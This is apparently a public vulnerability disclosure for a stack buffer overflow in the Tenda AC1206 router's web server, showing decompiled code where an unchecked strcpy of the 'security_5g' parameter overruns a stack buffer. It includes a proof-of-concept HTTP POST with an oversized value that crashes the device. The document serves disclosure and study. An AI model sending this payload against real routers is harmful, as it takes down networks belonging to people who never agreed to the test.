

🔑 main ▾

...

myCVE / AC1206 / AC1206-3.md



tianhui999 Add files via upload

🕒 History

👤 1 contributor

☰ 49 lines (31 sloc) | 5.21 KB

...

Affect device: Tenda-AC1206

US\_AC1206V1.0RTL\_V15.03.06.23\_multi\_TD01(<https://www.tenda.com.cn/download/detail-2766.html>)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

## Vulnerability description

This vulnerability lies in the `/goform/WifiBasicSet` page which influences the latest version of Tenda-AC1206 US\_AC1206V1.0RTL\_V15.03.06.23\_multi\_TD01 (<https://www.tenda.com.cn/download/detail-2766.html>)

The vulnerability exists in the file `/bin/httpd` , function **formWifiBasicSet**.

```
IDA View-A  Pseudocode-A  Strings
25 char *wepkey1_5g; // [sp+40h] [+40h]
26 char *wepkey_5g; // [sp+44h] [+44h]
27 char *wepauth_5g; // [sp+48h] [+48h]
28 char *wepkey4; // [sp+4Ch] [+4Ch]
29 char *wepkey3; // [sp+50h] [+50h]
30 char *wepkey2; // [sp+54h] [+54h]
31 char *wepkey1; // [sp+58h] [+58h]
32 char *wepkey; // [sp+5Ch] [+5Ch]
33 char *wepauth; // [sp+60h] [+60h]
34 char *wpapsk_key_5g; // [sp+64h] [+64h]
35 char *security_5g; // [sp+68h] [+68h]
36 char *ssid_5g; // [sp+6Ch] [+6Ch]
37 char *hide_5g; // [sp+70h] [+70h]
38 char *wpapsk_key; // [sp+74h] [+74h]
39 char *security; // [sp+78h] [+78h]
40 char *ssid; // [sp+7Ch] [+7Ch]
41 char *hide; // [sp+80h] [+80h]
42 char param[256]; // [sp+88h] [+88h] BYREF
43 char param_5g[256]; // [sp+188h] [+188h] BYREF
44 char wpapsk_type[256]; // [sp+288h] [+288h] BYREF
45 char wpapsk_type_5g[256]; // [sp+388h] [+388h] BYREF
46 char wpapsk_crypto[256]; // [sp+488h] [+488h] BYREF
47 char wpapsk_crypto_5g[256]; // [sp+588h] [+588h] BYREF
48 char security_new[256]; // [sp+688h] [+688h] BYREF
49 char security_new_5g[256]; // [sp+788h] [+788h] BYREF
50 char tmp[256]; // [sp+888h] [+888h] BYREF
51 WIFI_BUF wifi_buf_enty; // [sp+988h] [+988h] BYREF
52 char mib_value[32]; // [sp+B8Ch] [+B8Ch] BYREF
53 char wl_guest_en[32]; // [sp+BACH] [+BACH] BYREF
54

73 hide_5g = websGetVar(wp, "hideSsid_5g", "0");
74 ssid_5g = websGetVar(wp, "ssid_5g", byte 51B0B0);
75 security_5g = websGetVar(wp, "security_5g", "none");
76 wpapsk_key_5g = websGetVar(wp, "wrlPwd_5g", "12345678");

144 SetValue(&wifi_buf_enty, security_5g);
145 strcpy(param_5g, security_5g);
146 v7 = get_mssid_name("wl5g.ssidxx.wpapsk_type",
```

User control pointer parameter **security\_5g** in web requesting; **param\_5g** is an array on the stack, and using `strcpy` to copy **security\_5g** to **param\_5g** without length limit will cause stack overflow.

## POC and repetition

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /goform/WifiBasicSet HTTP/1.1
Host: 192.168.23.133
```

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: password=rjy5gk

Connection: close

Content-Length: 3660

security\_5g=aa

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

The screenshot displays a network traffic analysis tool with two main panes. The left pane shows a 'Request' tab with a POST request to '/goform/WifiBasicSet HTTP/1.1' from host '192.168.23.133'. The request includes headers for Cache-Control, Upgrade-Insecure-Requests, User-Agent, Accept, Accept-Encoding, Accept-Language, Cookie, Connection, and Content-Length. The body contains a long 'security\_5g=' parameter followed by a string of 3660 'a' characters. The right pane shows the server's response, which consists of multiple 'connect: No such file or directory' and 'Connect to server failed.' messages. It also shows two '[ ERROR ] File /webroot/default.cfg open failed!' messages. Finally, the response ends with a segmentation fault (SIGSEGV) in the 'fish' process, indicated by the message 'qemu: uncaught target signal 11 (Segmentation fault) - core dumped' and 'fish: "sudo qemu-mipsel -L ./bin/ht..." terminated by signal SIGSEGV (Address bounda ry error)'. The terminal prompt at the bottom is 'iot@attifyos ~/D/F/AC1206squashfs-root>'.